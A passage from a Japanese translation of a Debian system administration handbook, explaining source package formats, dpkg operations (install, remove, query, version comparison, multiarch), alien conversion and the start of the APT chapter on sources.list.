極めて多くの場合において、単独のソフトウェアのソースパッケージは複数のバイナリパッケージを生成できます。しかしながら、この方針が正当化されるのはソースパッケージから生成されるそれぞれのソフトウェアが異なる目的で使われる可能性がある場合だけです。共有ライブラリについて考えてみましょう。共有ライブラリはアプリケーションを動作させるためにインストールされる場合もあれば (たとえば **libc6**)、新しいプログラムを開発するためにインストールされる場合もあります (開発する場合は **libc6-dev** が適切です)。クライアント/サーバサービスに対しても同じことが言えます。あるマシンにはサーバ部分だけを、別のマシンにはクライアント部分だけをインストールしたいと考えるのは真っ当な考え方です (サーバマシンに **openssh-server** を、クライアントマシンに **openssh-client** をインストールするような場合がこれに該当します)。

同じくらいの頻度で、ソースパッケージの文書部分は専用パッケージとして提供されている場合が多いです。なぜなら、ユーザは文書とソフトウェアを別々にインストールしたいかもしれませんし、ディスク領域を節約するために文書を削除したいと考えるかもしれないからです。加えて、こうすることで Debian アーカイブミラーのディスク領域も節約できます。なぜなら、文書パッケージはアーキテクチャに依存しないのですべてのアーキテクチャで共有できるからです (各アーキテクチャ向けに用意されたバイナリパッケージに文書を含めるとアーキテクチャの数だけ文書を複製したことになり、余分にディスク領域を消費します)。

PERSPECTIVE

ソースパッケージのさまざまなフォーマット

もともとソースパッケージのフォーマットは 1 種類だけでした。これが `1.0` フォーマットです。`1.0` フォーマットでは `.orig.tar.gz` アーカイブに `.diff.gz`「debianization」パッチを当てるようにしていました (`1.0` フォーマットには亜種があります。亜種には `.tar.gz` アーカイブだけが含まれており、`.orig.tar.gz` がなければ自動的に `.tar.gz` アーカイブが使われます)。

Debian **Squeeze** 以降、Debian 開発者は新しいフォーマットを使うことができるようになりました。新しいフォーマットは昔使われていたフォーマットにあった多くの問題を修正して

います。フォーマット 3.0 (quilt) は複数の上流開発アーカイブを同じソースパッケージの中に混ぜ合わせることが可能になりました。つまり、いつもの .orig.tar.gz に加えて、補足用の .orig-**component**.tar.gz アーカイブを含めることが可能です。これは単独のソースパッケージが望まれるソフトウェアが複数の上流開発元によって配布されている場合に役に立ちます。これらのアーカイブは gzip の代わりに bzip2 または xz を使って圧縮できます。これらの圧縮方式はディスク領域とネットワークリソースを節約できます。最後に、単独のパッチ .diff.gz はコンパイル方法、パッケージメンテナが作った上流開発に対するパッチ群が収められた .debian.tar.gz アーカイブに置き換えられました。パッチはパッチ群を楽に管理するツール quilt と互換性のあるフォーマットで記録されます。

.orig.tar.gz ファイルはオリジナルの開発者が提供するソースコードと同じ内容を含むアーカイブです。Debian パッケージメンテナはファイルの出所と整合性を簡単に (チェックサムによる単純な比較で) 確認できるようにするために、そして一部の作者からの希望を尊重するためにアーカイブを変更しないことを要求されます。

.debian.tar.gz には Debian メンテナが行ったすべての変更、特に Debian パッケージを作成する際に実行される命令を収めた debian ディレクトリの追加、が含まれています。

TOOL

ソースパッケージの展開

ソースパッケージを持っていれば、dpkg-source コマンド (**dpkg-dev** パッケージに含まれます) を使ってソースパッケージを展開できます。

```
$ dpkg-source -x package_0.7-1.dsc
```

apt-get を使えば、ソースパッケージをダウンロードしてすぐに展開することも可能です。しかしながら、これを行うには、適切な deb-src 行が /etc/apt/sources.list ファイルに書かれていなければいけません (より詳しい情報は第 6.1 節「sources.list ファイルの内容」102 ページを参照してください)。deb-src 行はソースパッケージの「ソース」(ソースパッケージがホストされているサーバ群) を表すために使われます。

```
$ apt-get source package
```

5.3.2. Debian 内での使われ方

ソースパッケージは Debian のすべての基礎です。すべての Debian パッケージはソースパッケージから作られ、Debian パッケージに対する変更はソースパッケージを変更することで行われます。Debian メンテナはソースパッケージに対する作業の成果がどのようにバイナリパッケージに反映されるかを理解しているため、ソースパッケージに対して作業を行っています。そんなわけで、Debian メンテナの労苦の成果は Debian から入手できるソースパッケージの中にあります。すなわち、簡単にソースパッケージに戻り、すべてをソースパッケージから生成することも可能です。

パッケージの新バージョン (ソースパッケージと 1 つ以上のバイナリパッケージ) が Debian サーバにアップロードされた際に、最も重要なのがソースパッケージです。そして、異なるアーキテクチャのマシンのネットワークがソースパッケージを使い、Debian がサポートするさまざまなアーキテクチャ上でコンパイルを行います。開発者はソースパッケージだけでなく適当なアーキテクチャ (通常 i386 または amd64) 向けの 1 つ以上のバイナリパッケージを送信しますが、こちらはそれほど重要ではありません。なぜなら、送信されたバイナリパッケージと同じアーキテクチャ用のバイナリパッケージはビルドマシンによって自動的に生成されるからです。

5.4. dpkg を用いたパッケージの操作

dpkg はシステムの Debian パッケージを操作する基礎的なコマンドです。.deb パッケージがあれば、dpkg でパッケージ内容をインストールしたり解析したりすることが可能です。しかし dpkg は Debian 世界のある一部分だけを見ているに過ぎません。つまり、dpkg は、システムにインストール済みのパッケージとコマンドラインで与えられたパッケージについては理解していますが、他の利用できるパッケージについては理解していません。このため、dpkg は依存関係が満足されていなければパッケージを操作できません。これに対して、apt などのツールは、可能な限り自動的にすべてをインストールするために、依存関係のリストを作成します。

NOTE

dpkg か apt か?

dpkg はシステムツール (バックエンド)、apt はユーザに近いツールとみなすべきです。apt は dpkg の制限を克服しています。これらのツールは互いに協力して作業を行います。両者は互いに異なる得意分野を持っており、それぞれが特定の作業を担当しています。

5.4.1. パッケージのインストール

dpkg は既に利用できる Debian パッケージのインストールを担当しているツールです (ダウンロード機能を持っていません)。dpkg を使ってパッケージをインストールするには、-i または --install オプションを使ってください。

例 5.2　dpkg を使ったパッケージのインストール

```
# dpkg -i man-db_2.7.0.2-5_amd64.deb
(データベースを読み込んでいます ... 現在 86425 個のファイルとディレクトリがインストールされています。)
man-db_2.7.0.2-5_amd64.deb を展開する準備をしています ...
man-db (2.7.0.2-5) で (2.7.0.2-4 に) 上書き展開しています ...
man-db (2.7.0.2-5) を設定しています ...
Updating database of manual pages ...
mime-support (3.58) のトリガを処理しています ...
```

dpkg の実行する各作業段階が見て取れます。このため、どの時点でエラーが起きたかを識別できます。インストールを 2 段階に分けて実行することも可能です。具体的に言えば、最初が展開、その後に設定です。apt-get はこれをうまく利用して、dpkg を呼び出す回数を減らしています (なぜなら dpkg は呼び出される度にデータベース、特にインストール済みファイルのリスト、をメモリに読み込むため効率が悪いからです)。

例 5.3　展開と設定を分けて実行

```
# dpkg --unpack man-db_2.7.0.2-5_amd64.deb
(データベースを読み込んでいます ... 現在 86425 個のファイルとディレクトリがインストールされています。)
man-db_2.7.0.2-5_amd64.deb を展開する準備をしています ...
man-db (2.7.0.2-5) で (2.7.0.2-5 に) 上書き展開しています ...
mime-support (3.58) のトリガを処理しています ...
# dpkg --configure man-db
man-db (2.7.0.2-5) を設定しています ...
```

```
Updating database of manual pages ...
```

dpkg がパッケージのインストールに失敗し、エラーを返すことがあります。さらに、ユーザがインストールの失敗を無視するように命令すれば、警告が表示されるでしょう。すなわちこれが多くの --force-* 系オプションが用意されている理由です。dpkg の文書によれば dpkg --force-help コマンドでこれらのオプションの完全なリストを見ることが可能です。最もよく目にするエラーはファイルの衝突で、遅かれ早かれこのエラーに遭遇するのは避けられません。パッケージが他のパッケージによってインストール済みのファイルを含んでいる場合、dpkg はパッケージのインストールを拒否します。その場合、以下のメッセージが表示されます。

```
libgdm (.../libgdm_3.8.3-2_amd64.deb) を展開しています...
パッケージ /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb の処理中にエラーが発生しました (--unpack):
'/usr/bin/gdmflexiserver' を上書きしようとしています。これはパッケージ gdm3 3.4.1-9 にも存在します
```

この場合、ファイルを置き換えてもシステムの安定度は大きく損なわれない (通常は損なわれません) と考えるなら、--force-overwrite オプションを使うことで dpkg はこのエラーを無視してファイルを上書きします。

--force-* 系のオプションはたくさんありますが、日常的に使うのは --force-overwrite だけです。--force-* 系のオプションは例外的状況のためだけに用意されており、パッケージングメカニズムの定める標準規則を尊重するためには、これらのオプションを使うことは可能な限り避けるべきです。これらの標準規則はシステムの整合性と安定性を守るものであることを忘れないでください。

CAUTION

--force-* の効果的な使い方

下手をすると --force-* 系オプションを使うことにより、そのシステム上で APT ファミリーのコマンドが動かなくなる場合があります。事実上、--force-* 系オプションを使えば、依存関係が満足されていなくても、衝突していても、パッケージをインストールできてしまいます。この結果、システムは依存関係の観点からすると整合性のない状況になります。APT コマンドはシステムを整合性のある状態に戻せるような操作 (依存関係を満足させるために必要なパッケージのインストール、問題のあるパッケージの削除などの操作) を除き、その実行を拒否しますから、APT コマンドが実行できなくなります。その場合、たとえば以下のようなメッセージが表示されることがあります。これは、**rdesktop** の新しいバージョンが **libc6** のシステムにインストールされているバージョンよりも新しいバージョンに依存しているにも関わらず、その依存関係を無視して **rdesktop** をインストールした結果です。

```
# apt full-upgrade
[...]
これらを直すためには 'apt-get -f install' を実行する必要があるかもしれません。
以下のパッケージには満たせない依存関係があります:
  rdesktop: Depends: libc6 (>= 2.5) しかし、2.3.6.ds1-13etch7 はインストールされています
E: 未解決の依存関係があります。-f オプションを試してください。
```

自分の解析の正確さに自信を持っている勇気ある管理者なら、依存関係や衝突を無視して、対応する --force-* 系オプションを使うことを選ぶかもしれません。この場合に、管理者が apt や aptitude を使い続けたいと思うなら、管理者は無効にしたい依存関係や衝突を削除/変更するために /var/lib/dpkg/status を編集しなければいけません。

/var/lib/dpkg/status の編集は最悪の対応策であり、本当にどうしても必要な場合を除いて、絶対に使うべきではありません。ほとんどの場合、問題を生じさせているパッケージを再コ

ンパイルしたり (第 15.1 節「ソースを使ったパッケージの再ビルド」422 ページをご覧ください)、stable-backports などのリポジトリから新しい (修正済みの可能性がある) バージョンを使ったり (第 6.1.2.4 節「安定版バックポート」105 ページをご覧ください) するほうが適切な解決策です。

5.4.2. パッケージの削除

dpkg に -r または --remove オプションを付け、さらにパッケージの名前を指定して実行すれば、指定したパッケージが削除されます。しかしながらこの削除は完璧ではありません。具体的に言えば、パッケージが取り扱うすべての設定ファイル、メンテナスクリプト、ログファイル (システムログ)、その他のユーザデータは残されたままです。プログラムを無効化するには、この方法でパッケージをアンインストールしてください。そうすれば、削除したパッケージを同じ設定で再インストールして素早く利用できる状態にすることもまだ可能です。パッケージに関連するすべてを完全に削除するには、dpkg に -P または --purge オプションを付け、さらにパッケージの名前を指定して実行してください。

例 5.4 debian-cd **パッケージの削除と完全削除**

```
# dpkg -r debian-cd
(データベースを読み込んでいます ... 現在 97747 個のファイルとディレクトリがインストールされています。)
debian-cd (3.1.17) を削除しています ...
# dpkg -P debian-cd
(データベースを読み込んでいます ... 現在 97401 個のファイルとディレクトリがインストールされています。)
debian-cd (3.1.17) を削除しています ...
debian-cd (3.1.17) の設定ファイルを削除しています ...
```

5.4.3. dpkg のデータベースへの問い合わせと .deb ファイルの調査

BACK TO BASICS
オプションの構文

多くのオプションには「長い」もの (1 語以上の関連する単語を使い、二重ダッシュで始まるもの) と「短い」もの (1 文字で、長いオプションの頭文字の場合が多く、単独のダッシュで始まるもの) があります。これは POSIX 標準のプログラムでよく見られる慣例です。

この節を締め括る前に、内部データベースに問い合わせて情報を得る際に使う dpkg のオプションについて学びましょう。各オプションは最初に長いオプション、その後に対応する短いオプション (両者は同じ引数を取るのは明らかです) のように記載しています。--listfiles **package** (または -L) は与えられたパッケージがインストールするファイルを表示します。--search **file** (または -S) はファイルを含むパッケージを探します。--status **package** (または -s) はインストールされたパッケージのヘッダを表示します。--list (または -l) はシステムが把握しているパッケージのリストとその状態を表示します。--contents **file.deb** (または -c) は指定された Debian パッケージに含まれるファイルを表示します。--info **file.deb** (または -I) は指定された Debian パッケージのヘッダを表示します。

例 5.5　dpkg にさまざまな情報を問い合わせる

```
$ dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
/usr/share/base-passwd
/usr/share/base-passwd/group.master
/usr/share/base-passwd/passwd.master
/usr/share/man
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
/usr/share/man/ja
/usr/share/man/ja/man8
/usr/share/man/ja/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/man/es
/usr/share/man/es/man8
/usr/share/man/es/man8/update-passwd.8.gz
/usr/share/man/de
/usr/share/man/de/man8
/usr/share/man/de/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/README
/usr/share/doc/base-passwd/users-and-groups.html
$ dpkg -S /bin/date
coreutils: /bin/date
$ dpkg -s coreutils
Package: coreutils
```

```
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 13855
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.23-3
Replaces: mktemp, realpath, timeout
Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.17),
    ➥ libselinux1 (>= 2.1.13)
Conflicts: timeout
Description: GNU core utilities
 This package contains the basic file, shell and text manipulation
 utilities which are expected to exist on every operating system.
 .
 Specifically, this package includes:
 arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
 csplit cut date dd df dir dircolors dirname du echo env expand expr
 factor false flock fmt fold groups head hostid id install join link ln
 logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt
 od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm
 rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac
 tail tee test timeout touch tr true truncate tsort tty uname unexpand
 uniq unlink users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$ dpkg -l 'b*'
要望=(U)不明/(I)インストール/(R)削除/(P)完全削除/(H)保持
| 状態=(N)無/(I)インストール済/(C)設定/(U)展開/(F)設定失敗/(H)半インストール/(W)トリガ待ち/(T)トリ
    ガ保留
|/ エラー?=(空欄)無/(R)要再インストール (状態,エラーの大文字=異常)
||/ 名前                    バージョン        アーキテクチャ    説明

    ➥ +++-======================-===============-===============-==============================
    ➥
un  backupninja             <なし>           <なし>           (説明 (description) がありませ
    ん)
ii  backuppc                3.3.0-2          amd64            high-performance,
    ➥ enterprise-grade system for backin
un  base                    <なし>           <なし>           (説明 (description) がありませ
    ん)
un  base-config             <なし>           <なし>           (説明 (description) がありませ
    ん)
ii  base-files              8                amd64            Debian base system
    ➥ miscellaneous files
ii  base-passwd             3.5.37           amd64            Debian base system master
    ➥ password and group files
[...]
$ dpkg -c /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
drwxr-xr-x root/root          0 2014-12-05 07:03 ./
```

```
drwxr-xr-x root/root          0 2014-12-05 07:03 ./lib/
drwxr-xr-x root/root          0 2014-12-05 07:03 ./lib/udev/
drwxr-xr-x root/root          0 2014-12-05 07:03 ./lib/udev/rules.d/
-rw-r--r-- root/root       2711 2014-12-05 07:03 ./lib/udev/rules.d/60-gnupg.rules
drwxr-xr-x root/root          0 2014-12-05 07:03 ./usr/
drwxr-xr-x root/root          0 2014-12-05 07:03 ./usr/lib/
drwxr-xr-x root/root          0 2014-12-05 07:03 ./usr/lib/gnupg/
-rwxr-xr-x root/root      39328 2014-12-05 07:03 ./usr/lib/gnupg/gpgkeys_ldap
-rwxr-xr-x root/root      92872 2014-12-05 07:03 ./usr/lib/gnupg/gpgkeys_hkp
-rwxr-xr-x root/root      47576 2014-12-05 07:03 ./usr/lib/gnupg/gpgkeys_finger
-rwxr-xr-x root/root      84648 2014-12-05 07:03 ./usr/lib/gnupg/gpgkeys_curl
-rwxr-xr-x root/root       3499 2014-12-05 07:03 ./usr/lib/gnupg/gpgkeys_mailto
drwxr-xr-x root/root          0 2014-12-05 07:03 ./usr/bin/
-rwxr-xr-x root/root      60128 2014-12-05 07:03 ./usr/bin/gpgsplit
-rwxr-xr-x root/root    1012688 2014-12-05 07:03 ./usr/bin/gpg
[...]
$ dpkg -I /var/cache/apt/archives/gnupg_1.4.18-6_amd64.deb
 新形式 debian パッケージ、バージョン 2.0。
 サイズ 1148362 バイト: コントロールアーカイブ = 3422 バイト。
    1264 バイト、    26 行      control
    4521 バイト、    65 行      md5sums
     479 バイト、    13 行   *  postinst             #!/bin/sh
     473 バイト、    13 行   *  preinst              #!/bin/sh
 Package: gnupg
 Version: 1.4.18-6
 Architecture: amd64
 Maintainer: Debian GnuPG-Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
 Installed-Size: 4888
 Depends: gpgv, libbz2-1.0, libc6 (>= 2.15), libreadline6 (>= 6.0), libusb-0.1-4 (>=
     ➥ 2:0.1.12), zlib1g (>= 1:1.1.4)
 Recommends: gnupg-curl, libldap-2.4-2 (>= 2.4.7)
 Suggests: gnupg-doc, libpcsclite1, parcimonie, xloadimage | imagemagick | eog
 Section: utils
 Priority: important
 Multi-Arch: foreign
 Homepage: http://www.gnupg.org
 Description: GNU privacy guard - a free PGP replacement
  GnuPG is GNU's tool for secure communication and data storage.
  It can be used to encrypt data and to create digital signatures.
  It includes an advanced key management facility and is compliant
  with the proposed OpenPGP Internet standard as described in RFC 4880.
[...]
```

GOING FURTHER

バージョンの比較

dpkg は Debian パッケージを取り扱うプログラムですから、バージョン番号の比較ロジックのリファレンス実装も提供しています。dpkg にはバージョンを比較するための --compare-versions オプションが用意されており、外部プログラム (特に dpkg 自身が呼び出す設定スクリプト) の中でバージョンを簡単に比較できるようにしています。--compare-versions オプションは 3 つの引数を取ります。具体的に言えば引数としてバージ

ョン番号、比較演算子、2 番目のバージョン番号を取ります。比較演算子として使える演算子は lt (より小さい)、le (以下)、eq (等しい)、ne (等しくない)、ge (以上)、gt (より大きい) です。比較式が真ならば dpkg は 0 (成功) を返します。一方で偽ならば非ゼロ (失敗) を返します。

```
$ dpkg --compare-versions 1.2-3 gt 1.1-4
$ echo $?
0
$ dpkg --compare-versions 1.2-3 lt 1.1-4
$ echo $?
1
$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
$ echo $?
1
```

最後の比較式は一見 0 (成功) を返すように思われますが、1 (失敗) を返しています。この点に注意しましょう。つまり、文字通りに解釈すれば pre は事前リリースを意味しますが、dpkg にとって pre は特別な意味を持つものではありません。dpkg はアルファベット文字を数字と同じ方法で (a < b < c ...)、アルファベット順に比較します。このため、「0pre3」は「0」より大きいというわけです。パッケージのバージョン番号に事前リリースであるという意味を持たせたい場合、チルダ文字「~」を使ってください。

```
$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1
$ echo $?
0
```

5.4.4. dpkg のログファイル

dpkg は /var/log/dpkg.log に作業のすべてを記録します。/var/log/dpkg.log は極めて詳細です。なぜなら /var/log/dpkg.log には dpkg がパッケージに対して行った操作の各段階すべてが詳しく記録されているからです。dpkg の挙動を追跡する方法を提供することに加えて、/var/log/dpkg.log はシステムの変化の履歴を保存するのに役立ちます。すなわち、パッケージがインストールされたり更新された正確な日時を探すことが可能ですし、この情報は最近の挙動変化を理解するのに極めて役立ちます。加えて、すべてのバージョンが記録されていますから、注目しているパッケージの changelog.Debian.gz またはオンラインバグ報告と情報を簡単に照合できます。

5.4.5. マルチアーキテクチャサポート

すべての Debian パッケージは control ファイルの中に Architecture フィールドを持っています。Architecture フィールドでは「all」(アーキテクチャに依存しないパッケージ) または対象のアーキテクチャの名前 (「amd64」、「armhf」など) のどちらか一方を指定します。対象アーキテクチャの名前が指定されていた場合、初期設定では dpkg は dpkg --print-architecture で返されるホストのアーキテクチャと一致するアーキテクチャ向けのパッケージのインストールだけを受け入れます。

この制約は、ユーザが異なるアーキテクチャ向けにコンパイルされたバイナリを使う羽目にならないようにしています。コンピュータが複数のアーキテクチャのバイナリを実行できる場合、たとえば元から可能な場

合 (「amd64」システムは「i386」バイナリを実行できます) やエミュレータを介すことで可能になる場合、を除けばこの制約は合理的と言えます。

マルチアーキテクチャの有効化

dpkg のマルチアーキテクチャサポートのおかげで、ユーザは現在のシステムにインストールできる「外来アーキテクチャ」を定義できます。これを行うには、以下に示す通り dpkg --add-architecture を使ってください。関連して、dpkg --remove-architecture は外来アーキテクチャのサポートを取り消しますが、取り消したいアーキテクチャのパッケージが残っていた場合には失敗します。

```
# dpkg --print-architecture
amd64
# dpkg --print-foreign-architectures
# dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
dpkg: アーカイブ gcc-4.9-base_4.9.1-19_armhf.deb の処理中にエラーが発生しました (--install):
 パッケージアーキテクチャ (armhf) がシステム (amd64) と一致しません
処理中にエラーが発生しました:
 gcc-4.9-base_4.9.1-19_armhf.deb
# dpkg --add-architecture armhf
# dpkg --add-architecture armel
# dpkg --print-foreign-architectures
armhf
armel
# dpkg -i gcc-4.9-base_4.9.1-19_armhf.deb
以前に未選択のパッケージ gcc-4.9-base:armhf を選択しています。
(データベースを読み込んでいます ... 現在 86425 個のファイルとディレクトリがインストールされています。)
gcc-4.9-base_4.9.1-19_armhf.deb を展開する準備をしています ...
gcc-4.9-base:armhf (4.9.1-19) を展開しています...
gcc-4.9-base:armhf (4.9.1-19) を設定しています ...
# dpkg --remove-architecture armhf
dpkg: エラー: データベースで現在使用中のアーキテクチャ 'armhf' を削除できません
# dpkg --remove-architecture armel
# dpkg --print-foreign-architectures
armhf
```

NOTE

APT のマルチアーキテクチャサポート

APT は dpkg が外来アーキテクチャをサポートするように設定されているかを自動的に検出し、更新作業中に対応する Packages ファイルをダウンロードします。

外来パッケージをインストールするには apt install **package:architecture** を使ってください。

IN PRACTICE

amd64 上でプロプライエタリな i386 バイナリを使う

マルチアーキテクチャには複数の使用事例がありますが、最も一般的な使われ方は、32 ビットバイナリ (i386) を 64 ビットシステム (amd64) で実行できるようにする事例です。その具体的理由は、複数の人気のプロプライエタリアプリケーション (たとえば Skype) が 32 ビット版しか提供していないからです。

マルチアーキテクチャ関連の変更

マルチアーキテクチャを実際に有益で使いやすいものにするためには、ライブラリをもう一度パッケージングし直さなければいけませんでした。さらに複数のコピー (異なるアーキテクチャ向けのパッケージ) を同時にインストールできるようにするために、マルチアーキテクチャ専用のディレクトリにライブラリを移動しなければいけませんでした。このようにして更新されたパッケージには、このパッケージはアーキテクチャが違っても安全に同時インストールできること (そしてこのパッケージは自分と異なるアーキテクチャのパッケージの依存関係を満足することはできないこと) をパッケージングシステムに伝えるための「Multi-Arch: same」ヘッダフィールドが含まれています。マルチアーキテクチャモードは Debian **Wheezy** で初登場しましたから、まだすべてのライブラリが変換されたわけではありません。

```
$ dpkg -s gcc-4.9-base
dpkg-query: エラー: --status は有効なパッケージ名を必要としますが、'gcc-4.9-base' はそうではありま
    せん: 1つ以上のインストール済み実体がある、あいまいなパッケージ名 'gcc-4.9-base' です

パッケージ照会についてのヘルプには、--help を使用してください。
$ dpkg -s gcc-4.9-base:amd64 gcc-4.9-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$ dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$ dpkg -S /usr/share/doc/gcc-4.9-base/copyright
gcc-4.9-base:amd64, gcc-4.9-base:armhf: /usr/share/doc/gcc-4.9-base/copyright
```

Multi-Arch: same パッケージを取り扱う際には、パッケージの名前にアーキテクチャの限定詞を付けて対象を明確に識別しなければいけない点は注目に値します。Multi-Arch: same パッケージは対象アーキテクチャの異なる同じパッケージ間でファイルを共有しているかもしれません。さらに対象アーキテクチャの異なる同じパッケージ間でファイルが共有されている場合、dpkg は共有されているファイルがビット単位で一致することを確認します。最後に重要なことですが、パッケージは対象アーキテクチャごとにバージョンが違ってはいけません。対象アーキテクチャの異なるパッケージも必ず同時にアップグレードされなければいけません。

マルチアーキテクチャサポートによって、依存関係の取り扱い方法にいくつかの興味深い挑戦がなされました。あるパッケージの依存関係を満足させるためには、必要とされる側のパッケージは「Multi-Arch: foreign」と宣言されているか、依存パッケージ群の 1 つのパッケージとアーキテクチャが一致しているかのどちらか一方を満足させる必要があります (依存関係解決処理中、アーキテクチャに依存しないパッケージはホストと同じアーキテクチャと仮定されます)。**package**:any 構文はどんなアーキテクチャでも依存関係を満足できることを意味しますが、外来パッケージを使って **package**:any 構文で表記された依存関係を満足できるのは「Multi-Arch: allowed」と宣言されていた場合のみです。

5.5. 他のパッケージングシステムとの共存

フリーソフトウェア世界では Debian パッケージ以外のソフトウェアパッケージも使われています。Debian にとって最大の競争相手は Red Hat Linux ディストリビューションとその派生物が使う RPM フォーマットです。Red Hat は非常に人気のある商用ディストリビューションです。そのため一般に、サードパーティが提供するソフトウェアは Debian パッケージではなく RPM パッケージで用意されます。

Debian パッケージが提供されなかったとしても、Debian には RPM パッケージを取り扱うプログラム rpm がパッケージとして用意されており、Debian では RPM パッケージフォーマットを取り扱うことができます。しかしながら、パッケージから情報を引き出したり、整合性を検証するための操作は制限されていることに注意してください。実のところ、RPM を Debian システムにインストールするために rpm を使うのは合理的ではありません。さらに RPM はネイティブソフトウェア (dpkg など) とは異なる自分自身のデータベースを使います。このため、2 つのパッケージングシステムを安定に共存させることを保証するのは不可能です。

他方で、**alien** ユーティリティを使えば以下に示す通り RPM パッケージを Debian パッケージに変換したりその逆を行うことが可能です。

COMMUNITY

.deb の採用を働きかける

提供者から受け取った RPM パッケージをインストールするために、日常的に alien プログラムを使っているのなら、提供者に手紙を出して .deb フォーマットを強く欲しがっていることを平和的に表現してください。ここで重要なのは単にパッケージのフォーマットを .deb フォーマットに変えるだけで事足りる問題ではないという点です。すなわち、alien で作った .deb パッケージや、あなたの使っているバージョンと異なる Debian のバージョン用として準備されたパッケージや、Ubuntu などの派生ディストリビューション用として準備されたパッケージは Debian **Jessie** 専用に開発されたパッケージと比べて品質や整合性が違うかもしれません。

```
$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm
phpmyadmin_2.0.5-2_all.deb generated
$ ls -s phpmyadmin_2.0.5-2_all.deb
  64 phpmyadmin_2.0.5-2_all.deb
```

見ての通り alien を使った変換作業は極めて単純です。しかしながら、生成されたパッケージには依存関係の情報が含まれないことを知らなければいけません。なぜなら、2 つのパッケージフォーマットの依存関係の間に系統的な対応関係がないからです。管理者は変換されたパッケージが正しく動くことを手作業で保証しなければいけません。そのため、生成された Debian パッケージを使うのは可能な限り避けるべきです。幸いなことに、Debian が用意しているソフトウェアパッケージの数はすべてのディストリビューションの中で最も多く、依存関係の解決に苦労することはないでしょう。

alien コマンドの man ページを見ると、alien が他のパッケージフォーマット、特に (単純な tar.gz アーカイブで作られている) Slackware ディストリビューションで使われているフォーマット、を取り扱うことも可能なことに気が付くでしょう。

dpkg ツールを使って配備されたソフトウェアの安定性は Debian の名声に寄与しています。次の章で説明する APT ツール集はこの長所を引き継いで、さらに、管理者が不可欠だが難しい作業であるパッケージの状態管理をしなくても済むようにしました。

キーワード

apt
apt-get
apt-cache
aptitude
synaptic
sources.list
apt-cdrom

章

メンテナンスと更新、APT ツール

6

目次

sources.list ファイルの内容 102
aptitude、apt-get、apt コマンド 109
apt-cache コマンド 118
フロントエンド、aptitude、synaptic 119
パッケージ信頼性の確認 123
安定版から次のディストリビューションへのアップグレード 125
システムを最新の状態に保つ 127
自動アップグレード 129
パッケージの検索 130

Debian が管理者に人気がある理由は、ソフトウェアのインストールが簡単で、システム全体の更新が簡単だからです。この比類なき長所は、主として APT **プログラムが担っており、Falcot Corp の管理者はこれについて熱心に学びました。**

APT は Advanced Package Tool の略称です。APT を「先進的」たらしめているものとは、パッケージの取り扱い方です。APT はパッケージを独立なものとして単純に評価するのではなく、パッケージ全体を考慮し、(依存関係に従って) 利用できて相性の良いパッケージを選び出すことで、実現できる最適なパッケージの組み合わせを作り出します。

VOCABULARY

パッケージソースとソースパッケージ

ソースという言葉を使うと意味が曖昧になる場合があります。ソースパッケージ—プログラムのソースコードを含んだパッケージ—をパッケージソース—パッケージが保存されているリポジトリ (ウェブサイト、FTP サーバ、CD-ROM、ローカルディレクトリなど) —と混同してはいけません。

APT には「パッケージソースのリスト」を与える必要があります。つまり `/etc/apt/sources.list` には Debian パッケージを公開しているさまざまなリポジトリ (つまり「ソース」) が記載されています。APT はそれぞれのソースで公開されているパッケージのリストを取り込みます。具体的に言うと、バイナリパッケージソースの場合は `Packages.xz` ファイルまたは別の方法で圧縮されたファイル (`Packages.gz` や `Packages.bz2`)、ソースパッケージソースの場合は `Sources.xz` ファイルまたは別の方法で圧縮されたファイルをダウンロードして、内容を解析して、パッケージのリストを取り込みます。これらのファイルの古いコピーが既にあるのなら、APT は差分だけをダウンロードしてファイルを更新することも可能です (補注「 増分アップグレード」112 ページを参照してください)。

BACK TO BASICS

gzip、bzip2、LZMA、XZ 圧縮

`.gz` 拡張子は `gzip` ユーティリティで圧縮されたファイルを意味しています。`gzip` は高速かつ効率的にファイルを圧縮する伝統的 Unix ユーティリティです。新しいツールを使えば圧縮効率は高くなるのですが、その代わりにファイルを圧縮および展開するために多くのリソース (計算時間とメモリ) が必要になります。新しいツールには、登場順に `bzip2` (`.bz2` 拡張子のファイルを生成)、`lzma` (`.lzma` ファイル)、`xz` (`.xz` ファイル) などがあります。

6.1. sources.list ファイルの内容

6.1.1. 構文

`/etc/apt/sources.list` ファイルの有効な各行にはソースの説明が含まれ、ソースの説明は空白で分割された 3 つのフィールドからなります。

1 番目のフィールドはソースタイプです。

- 「deb」はバイナリパッケージ用です。
- 「deb-src」はソースパッケージ用です。

